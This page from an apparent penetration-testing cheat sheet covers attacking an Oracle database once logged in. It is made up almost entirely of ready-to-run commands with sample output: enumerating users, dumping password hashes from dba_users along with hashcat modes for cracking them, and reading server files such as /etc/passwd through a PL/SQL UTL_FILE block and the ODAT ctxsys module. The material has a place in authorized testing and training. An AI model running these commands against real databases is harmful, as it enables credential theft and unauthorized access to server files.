Skip to content
HackIndex logo

HackIndex

Oracle SQL Execution and File Access

1 min read Mar 30, 2026

Authenticated Oracle database access provides structured data extraction, file system access via UTL_FILE, and privilege enumeration that maps the path to OS command execution. Start by understanding what the current account can access before attempting escalation. Confirm working credentials through weak credential testing before proceeding here.

Database and Version Information

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT banner FROM v\$version;
SELECT name, db_unique_name, open_mode FROM v\$database;
SELECT instance_name, host_name, version FROM v\$instance;
EXIT;
EOF 
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0
ORCL    ORCL    READ WRITE
ORCL    db-server-01    11.2.0.2.0
Explain command
-L Attempt login only once, do not reprompt on failed credentials.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Credentials and full TNS connect descriptor targeting Oracle SID ORCL on port 1521.
$TARGET_IP Placeholder for the target Oracle database server IP address.

Enumerate All Database Users

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT username, account_status, default_tablespace FROM dba_users ORDER BY account_status;
EXIT;
EOF 
USERNAME          ACCOUNT_STATUS    DEFAULT_TABLESPACE
SYS               OPEN              SYSTEM
SYSTEM            OPEN              SYSTEM
SCOTT             OPEN              USERS
HR                EXPIRED & LOCKED  USERS
Explain command
-L Attempt login only once; do not prompt for credentials on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connection string with credentials, TCP host, port 1521, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle database server IP address.

Extract Password Hashes

Oracle password hashes are stored in the data dictionary and readable with DBA privileges:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT username, password FROM dba_users WHERE account_status='OPEN';
EXIT;
EOF 
USERNAME     PASSWORD
SYSTEM       D4DF7931AB130E37
SCOTT        F894844C34402B67
Explain command
-L Attempt login only once; do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle Easy Connect string with credentials, TCP host, port 1521, and SID.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
SELECT username, password FROM dba_users WHERE account_status='OPEN' SQL query retrieving credentials of all open/active Oracle accounts.

Oracle 10g and earlier use DES-based hashes (hashcat mode 3100). Oracle 11g uses SHA1-based hashes (mode 112). Oracle 12c+ uses SHA-512 based hashes (mode 12300). Crack with hashcat using the appropriate mode.

File Read with UTL_FILE

UTL_FILE reads and writes files accessible to the Oracle process user. It requires DIRECTORY objects pointing to accessible paths:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT directory_name, directory_path FROM all_directories;
EXIT;
EOF 
DIRECTORY_NAME       DIRECTORY_PATH
DATA_PUMP_DIR        /u01/app/oracle/admin/orcl/dpdump/
ORACLE_HOME          /u01/app/oracle/product/11.2.0/dbhome_1/
TMP                  /tmp
Explain command
-L Attempt login only once; do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Full Oracle EZConnect string with credentials, target IP, port 1521, and SID.
$TARGET_IP Placeholder for the target Oracle database server IP address.
┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
CREATE OR REPLACE DIRECTORY TMPDIR AS '/tmp';
DECLARE
f UTL_FILE.FILE_TYPE;
l VARCHAR2(4000);
BEGIN
f := UTL_FILE.FOPEN('TMPDIR', 'passwd', 'R');
UTL_FILE.GET_LINE(f, l);
DBMS_OUTPUT.PUT_LINE(l);
UTL_FILE.FCLOSE(f);
END;
/
EXIT;
EOF
Explain command
-L Limits login attempts to one; exits on failed authentication instead of retrying.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle Easy Connect string specifying credentials, TCP host, port 1521, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
<<EOF Heredoc delimiter piping the SQL/PL-SQL block as stdin to sqlplus.

File Read with ODAT

ODAT's ctxsys module provides file read more cleanly when the required privileges are present:

┌──(kali㉿kali)-[~]
└─$ odat ctxsys -s $TARGET_IP -p 1521 -d ORCL -U $USER -P $PASSWORD --getFile /etc/passwd /tmp/passwd_output
Explain command
ctxsys Uses the CTXSYS Oracle module to exploit text index privileges.
-s $TARGET_IP Specifies the target Oracle database server IP address.
-p 1521 Specifies the target port (default Oracle listener port 1521).
-d ORCL Specifies the Oracle database SID to connect to.
-U $USER Specifies the username for Oracle database authentication.
-P $PASSWORD Specifies the password for Oracle database authentication.
--getFile Reads a file from the remote server filesystem via Oracle.
/etc/passwd Remote file path to be read from the target system.
/tmp/passwd_output Local path where the retrieved file content will be saved.

References